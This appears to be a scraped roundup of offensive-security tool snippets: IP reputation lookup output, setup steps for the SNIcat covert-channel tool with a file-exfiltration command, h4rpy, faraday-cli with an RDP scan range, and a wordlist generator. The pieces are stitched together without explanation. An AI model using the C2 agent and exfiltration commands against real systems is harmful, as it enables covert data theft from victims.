The IP Address 138.121.128.19 Is Malicious and well known for SSH Bruteforce Attacks

[*] IP Reputation Look up Complete!!!

$ python2 geo-recon.py 138.121.128.19

░██████╗░███████╗░█████╗░  ██████╗░███████╗░█████╗░░█████╗░███╗░░██╗
██╔════╝░██╔════╝██╔══██╗  ██╔══██╗██╔════╝██╔══██╗██╔══██╗████╗░██║
██║░░██╗░█████╗░░██║░░██║  ██████╔╝█████╗░░██║░░╚═╝██║░░██║██╔██╗██║
██║░░╚██╗██╔══╝░░██║░░██║  ██╔══██╗██╔══╝░░██║░░██╗██║░░██║██║╚████║
╚██████╔╝███████╗╚█████╔╝  ██║░░██║███████╗╚█████╔╝╚█████╔╝██║░╚███║
░╚═════╝░╚══════╝░╚════╝░  ╚═╝░░╚═╝╚══════╝░╚════╝░░╚════╝░╚═╝░░╚══╝

                         By d3xt3r_182
 Github: https://github.com/radioactivetobi | Twitter: @d3xt3r_182
            Usage: python geo-recon.py <IPADDRESS> 



[*] Running Geo-location Check Against 138.121.128.19

Country: Brazil
Region: Piaui
City: Teresina
Organization: Itech Telecom
ISP: Itech Telecom

[*] Geo-IP Lookup Complete!!!


[*] Running Reputation Check Against 138.121.128.19

Domain: "redeitechtelecom.com.br"
Hostname: []
Usage Type: "Fixed Line ISP"
Confidence of Abuse: 100
Number Times of Reported: 982
Last Reported: "2020-08-21T16:43:12+00:00"
Whitelisted: false

The IP Address 138.121.128.19 Is Malicious and well known for SSH Bruteforce Attacks

[*] IP Reputation Look up Complete!!!

• Include Longitude& Latitude For Geo-IP Lookup
• Fix API

https://github.com/mnemonic-no/SNIcat.git

pip3 install -r requirements.txt --user

(*) USAGE:      'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log={on|off}'
(*) EXAMPLE:    'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'

(*) USAGE:      'python3 snicat_agent.py <C2_SERVER_IP> <C2_SERVER_PORT> log={on|off}'
(*) Example:    'python3 snicat_agent.py 192.0.2.1 443 log=off'

LIST    -  display all content in current folder
LS    -  display only files in the currenet folder
SIZE    -  display size of files in the currenet folder
LD    -  display every directory in current folder
CB    -  moves down to root tree folder - similar to 'cd .. '
CD <folder-id>    -  moves up the specified folder
EX <file-id>    -  exfiltrate the specified file
ALIVE     -  check alive/dead agent
EXIT     -  quit the C2 server

# git clone https://github.com/MS-WEB-BN/h4rpy/
# cd h4rpy
# sudo bash config.sh
# sudo chmod +x h4rpy

# sudo ./h4rpy

•     RDP scan
•     HCL APPScan
•     SSL labs

•     Manage workspaces
•     Get information of hosts
•     Create vulnerabilities directly from commands and reports
•     Run your agents

pip3 install faraday-cli

faraday-cli auth

faraday-cli workspace -n demo_workspace -a select

faraday-cli command "./rdpscan 192.168.0.1–192.168.0.254"

$ ./wordlist_generator.py -d hackerone.com -a 5000 -t 50
$ ./wordlist_generator.py -d bugcrowd.com -a 1000 
$ ./wordlist_generator.py -d intigriti.com > intigriti_wordlist.txt

./wordlist_generator.py -h

$ git clone https://github.com/SomeKirill/wordlist_generator/
$ cd wordlist_generator
$ pip install requests

• https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-directories-lowercase.txt
• https://github.com/oprogramador/most-common-words-by-language/blob/master/src/resources/dutch.txt
• https://github.com/first20hours/google-10000-english/blob/master/google-10000-english.txt
• https://tools.ietf.org/html/rfc1866